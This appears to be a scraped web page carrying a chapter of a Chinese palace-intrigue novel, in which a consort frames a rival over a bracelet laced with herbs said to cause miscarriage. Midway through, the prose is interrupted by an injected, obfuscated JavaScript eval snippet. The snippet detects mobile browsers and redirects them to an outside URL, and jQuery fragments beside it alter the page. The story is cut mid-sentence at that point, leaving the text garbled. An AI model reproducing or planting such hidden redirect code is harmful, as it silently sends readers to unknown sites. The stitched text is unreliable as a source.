颂兰嗔道:“都是要为娘的人了,怎的这般冒失。”
梁才人这才后知后觉自己竟把皇帝甩在了身后,一时讪讪,只呆呆坐在榻上赔礼:“嫔妾对蕙心娘子关心太过,还请陛下恕罪。”
“你既是关心,又何罪之有。你与蕙心娘子同住一宫,妃嫔和睦,乃是好事。”
说着,皇帝便回头瞥了一眼屈膝跟在身后、脸色煞白的容常在,“祝诚,将方才回朕的话再说一遍。”
祝太医恭声道:“回陛下,蕙心娘子乃是过敏之症,面上的皮外伤,本不打紧。可伤口暴露在外,沾染了花粉或是旁的不洁之物,这才引发了红肿过敏。”
他眼观鼻鼻观心,凝声道:“这过敏源不同,引发的症状也不同。如蕙心娘子这般,微臣粗略瞧着,倒像是郁金花汁粉过敏。”
“宫中好端端的怎会有郁金花,此物不易得——现场可查过了?”
张公公忙道:“回皇上的话,事出匆忙,但已有宫人在现场查验着了。”
话音未落,门口传来一阵极轻的脚步声。众人望去,却是素儿疾步行来,屈膝行礼道:
“回陛下,当时容常在掌掴完蕙心娘子时腕上的珠串挂到花枝,摔在地上跌碎了。奴婢在现场拾到了这个。”
她拿出一方裹成四方形的帕子在手心展开,上面赫然是那串断裂的手串。只是鲜红的碎片间隐见些许黑色膏状的碎末。
她将帕子递给祝诚,后者接过去,放在鼻尖嗅了一嗅,却是迟疑道:“此物状若香丸,闻着似有郁金花汁的气味。只是……”
皇帝道:“可还有什么不妥么?”
祝诚拭了额上的汗,恭声道:“此物仿佛是零陵香丸。零陵香确实常以郁金花汁、桦树皮粉调和,以使成型。零陵香活血化淤,偶尔一用并无妨碍,只是若有孕的女子接触,便易滑胎。”
素儿躬身道:“尚完好的珠子已给内侍监的公公们验看过,其中确有风干的香膏。”
此话一出,梁才人登时惊疑道:“怪道你今日行迹这般异样,莫非是存了害我孩儿的心思!”
容月面色惨白,疾声辩道:“陛下,嫔妾并不知情啊!那手串是嫔妾初封贵人时萧昭仪给的赏赐,嫔妾并不知其中有何物啊!”
她向前膝行两步,不住叩首道:“嫔妾在宫中能有多少机会同梁才人碰面,可手腕乃是气血经行之处,嫔妾日日佩戴这脏东西,毒性才易入侵肌理。嫔妾怎会使这般伤敌八百、自损一千的蠢招?”
梁才人嫌恶道:“此中隐情也只有容常在你一人知晓了。你久不沐圣恩,谁知道是否会心思扭曲呢?”
皇帝眉间隐现疲惫与不豫,抬手低喝道:“好了!”
众人一时皆噤了声,皇帝道:“常在容氏,尤在罚期,却不思悔改,言行无状,随意责打嫔妃。着降为八品更衣,迁来泠梵阁常聆佛音,好好思过吧。”
说罢不顾脸上血色尽失、瘫倒在地的容月,只转眸望向床上的颂兰,“蕙心娘子无故被打,伤及容貌,着升为从七品常在,赏苏缎两匹,血燕二两。”
颂兰忙道:“谢陛下抬爱。”
顶着屋内众人惊异的目光,她并不推辞这意外降临的殊荣,而是娇嗔道:
“今日之事,多亏素儿这丫头机敏。她平日里伺候也很用心,嫔妾既得了赏,便想着给素儿也讨个赏,赐她个名字‘谷雨’,便同嫔妾宫中的掌事宫女霜降凑成个对子,也做大宫女。”
……
颂兰才进宫门,小卓子便喜气洋洋地迎出来,打个千儿一叠声道:
“恭喜常在小主,贺喜常在小主!”
颂兰面上敷着厚厚的纱布,安桂在一旁叱道:“嘴上没个把门儿的!小主伤了容貌,怎的就恭喜了?”
小卓子忙“哎哟哎哟”的,作势要打自己的嘴,一壁又道:
“未有侍寝或有孕便得晋封,可是上上荣宠、上上荣宠啊!”
霜降迎上来,忧心道:“小主的脸没事罢?”
颂兰脸上敷着药膏,又戴了顶垂着白纱的帷帽,将巴掌大的小脸掩在其中。她轻声道:
“伤本不严重,只是恰巧过了敏。太医院已开了药方,这些时日不能出门见风了。”
小卓子又道:“还要恭喜谷雨姐姐。”
几人说着话,已穿过珠帘进了内室。颂兰微笑道:
“只是与她们同批入宫的谷雨已不在宫中伺候了,恰巧得了这个福分罢了。”
她轻握了握霜降的手,霜降便道:“小主累了一日,快回屋休息吧。”又道:“陛下赏赐的血燕,心儿已在小厨房熬上了。”
谷雨忙道:“奴婢去瞧瞧。”仍是很谦恭的样子。
霜降扶着颂兰进了内室,颂兰掀起帽帘,握住霜降双手,一脸诚挚:
“我提拔谷雨乃是事出有因。但入宫这些时日你为我尽心尽力,我心中都有数。”
霜降忙道:“小主折煞奴婢了。奴婢们侍奉主子,原是能者争先。谷雨姑娘今日有功得赏,奴婢是断不会生那等妒忌怨怼之心的。”
颂兰诚恳道:“你的秉性我自然清楚。但谷雨……她是陛下身边的人。”
迎着霜降惊异的神色,颂兰羽睫微垂,“各宫苑中应当都有陛下、太后的人。高位娘娘们或许还有些私隐的空间,可新入宫的小主们在宫中无根无靠,有如飘萍,自然是什么消息都瞒不过主子们的。”
霜降神色惊疑不定,迟疑道:“可素儿……谷雨姑娘素日里也是个沉稳端正的性子,也从不曾窥探什么。”
“只是在各宫中安插棋子,以防万一而已。又不是放了线人,把宫嫔们当成敌寇来防。不到出事时,这些棋子自然不会露了行迹。而若有事,那么便如今日梁才人身边的小雪、我身边的谷雨,皆是得用的人证。”
“那小主的意思是……”
颂兰脸上覆着一片雪白的纱布,将昳丽容貌掩去了三分,无端便显得动人而可怜,“我今日抬举谷雨,便是叫陛下知晓:我有意投诚,我在宫中的一言一行皆是为了陛下着想,所以我不惧他的棋子,因为我同陛下乃是一心。”
洋金花又名牵牛花,幼时姨娘院中曾有一只花架,上头便爬满了绵迭的牵牛花。这花性贱,天养地生亦能存活,只是开放时日颇短,不过一朝一夕。
这花气味淡雅,只是幼时有一次她不慎在花架上划破了手指,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15551909|171262||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花汁蹭到了伤口,霎时便红肿溃烂,敷药敷了七日才算好全。自那以后姨娘便将院中的牵牛花尽数除去,又告诫她再不许攀采这花。
而颂兰也是无意中发现宫内亦有此花,便在一个晴好的夜轻装出门,折了好些来调作蔻丹。
若无伤口,这过敏之症并不会发作;而但凡有一丝破皮——她吃痛时,伸手轻轻抚住脸颊时,涂抹了淡粉色蔻丹的指甲便无声无息地触到了那本只是轻伤的伤口,疼痛亦如灼烧般蔓延开来。
她体质强健,幼时手指上那道伤深可见骨,姨娘为她悉心调养后,一丝疤痕也未落下。女子哪有不爱惜自身容貌的,如今脸上这伤也只是瞧着可怖而已,日后并不会留疤。
皇帝今日封赏她,亦有此考虑——倘若她真的容貌有损,往后便不能奉驾了。若她命数真止于此,那么一个无宠的常在,日子总比一个无宠的娘子好过些。
而伤了她的容月……颂兰眸中划过一丝幽暗的狠戾。容月此人虽目光短浅,可从前她自恃傲骨,从未有过如今日这般的张扬作态。
更何况梁才人才因责打嫔妃一事受罚,容更衣怎会不知?她行状有异,事出反常必有妖。
不过,无论容氏所图为何,敢叫颂兰受这掴面之辱,颂兰自然不是那等忍气吞声之辈,势必要好好回敬一番的。
她戴的那红玉珠串,前世颂兰亦见过,只不过确如容月所说,是在萧氏身上。
那其中所含的零陵香、息肌香、郁金花、当门子,亦确实是顶顶有效的虎狼之药——女子若长期佩戴,自脉搏处渗入肌理,气血凝滞,日久天长,自然不会有孕。
萧氏势盛,为防外戚拥兵自重,皇上与太后是不会容许萧元姝有孩子的。
张扬跋扈如她,亦是个可怜人罢了。
只是这一世因着颂兰行动有变,这东西竟不知怎的阴差阳错赏到了容月手上。颂兰在御园一眼就认出了那东西,之后假装过敏,牵出零陵香丸,亦有此虑。
那手串碎得太显眼,若此事不能善了,那不如闹大些,将水搅浑,把东西大剌剌地摆到台面上,反而更容易消去萧氏的疑心。
在萧元姝的视角里,那珠子中的零陵香自然不是她的手笔。那么更有可能的,便是容月借着她的赏赐的名义,刻意往里头添了脏东西,意图谋害龙胎。
这怀疑也并非完全空穴来风——她与容月因着端午节粽一事已是彻底交恶,此刻萧昭仪又在禁足之中,正是势弱之时。
珠串跌碎的那一刻,颂兰几乎是一瞬就有了决断,便毫不迟疑地将沾了牵牛花汁的指甲碰上了面上的伤。
这结果,皇帝大概也是满意的——就端看她对容月和颂兰的一罚一赏吧。颂兰前世伴驾十数年,这是两人无需言语的不谋而合。
不过颂兰心中亦有一道疑影,从前世带到了今生:就算皇帝与太后忌惮萧氏女,不愿令其有孕,真至于使这么蠢的法子吗?
一串既不名贵,也不特殊的手串,且不说出身豪富的萧元姝会不会日日佩戴。就如此番这般,随意赏了人,岂非六宫嫔妃都有可能受其所害?
而这珠串中的零陵香,不知容月此人,对此又知之多少呢……